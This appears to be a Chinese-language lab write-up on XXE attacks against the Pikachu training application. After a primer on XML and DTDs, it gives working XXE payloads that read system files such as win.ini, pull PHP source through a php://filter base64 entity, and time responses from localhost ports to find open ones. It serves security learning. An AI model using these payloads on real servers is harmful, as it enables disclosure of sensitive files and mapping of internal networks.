XXE:XML External Entity attack(XML外部实体攻击)。
其实XXE就是攻击者自定义了XML文件进行了执行,
已知的最终效果就是读取系统文件或DOS攻击。
理解XXE,其实就是学习XML。
什么是 XML?
XML 指可扩展标记语言(EXtensible Markup Language)
XML 是一种标记语言,很类似 HTML
XML 的设计宗旨是传输数据,而非显示数据
XML 标签没有被预定义。您需要自行定义标签。
XML 被设计为具有自我描述性。
XML 与 HTML 的主要差异
XML 不是 HTML 的替代。
XML 和 HTML 为不同的目的而设计:
XML 被设计为传输和存储数据,其焦点是数据的内容。
HTML 被设计用来显示数据,其焦点是数据的外观。
HTML 旨在显示信息,而 XML 旨在传输信息。
XML 不是对 HTML 的替代,XML 是对 HTML 的补充。
XML 不会替代 HTML,理解这一点很重要。在大多数 web 应用程序中,XML 用于传输数据,而 HTML 用于格式化并显示数据。
对 XML 最好的描述是:
XML 是独立于软件和硬件的信息传输工具。
DTD内部文档声明
当DTD存在于XML源文件中,由以下格式进行包裹
<!DOCTYPE 根元素 [元素声明]>
可以看到在DTD设置了一些变量,然后在xml文档中再使用到这些变量。
这就是DTD与XML之间的使用方法。
然后XML文件对于DTD的内容进行引用
<?xml version="1.0"?>
<!DOCTYPE note [
<!ELEMENT note (to,from,heading,body)>
<!ELEMENT to (#PCDATA)>
<!ELEMENT from (#PCDATA)>
<!ELEMENT heading (#PCDATA)>
<!ELEMENT body (#PCDATA)>
]>
<note>
<to>George</to>
<from>John</from>
<heading>Reminder</heading>
<body>Don't forget the meeting!</body>
</note>
具体xxe攻击手段参考下面链接
https://lalajun.github.io/2019/12/03/WEB-XXE/
开始正题
随意输入点什么,会有个贴心的提示,【滑稽】
我就试试输入一个xml,注意到读取时会有一点区别,正是利用这一点来读取我们想要的数据的
注意:这里的回显,不能判断是否支持外部实体,还需要进一步的测试
查看系统文件内容
因为c:/windows/win.ini是每个windows系统都有的文件,
如果确定服务器是windows系统,就可以用该文件来确定是否有xxe漏洞
成功显示后,要想读取其他敏感文件只需要替换路径即可
查看PHP源代码
查看PHP源码一般用PHP伪协议PHP://filter来获取,在拿去base64解码
<?xml version = "1.0"?>
<!DOCTYPE noet [
<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=D:/phpstudy/phpstudy_pro/WWW/pikachu/vul/rce/rce.php"> ]>
<note>&xxe;</note>
爆破开放端口
这个我是看了大佬的博客学习到的,先看两端代码,虽然返回结果都是那段“友善”的提示,
但是肉眼可见处理速度是不同的
原因是服务器80端口是开放的,而81端口是关闭的
<?xml version = "1.0"?>
<!DOCTYPE noet [
<!ENTITY xxe SYSTEM "http://127.0.0.1:80"> ]>
<note>&xxe;</note>
<?xml version = "1.0"?>
<!DOCTYPE noet [
<!ENTITY xxe SYSTEM "http://127.0.0.1:81"> ]>
<note>&xxe;</note>
这时就会想到可不可以用BP爆破一下试试,看请求包和回应包的时间间隔来判断是否开放
其实只有80端口开放了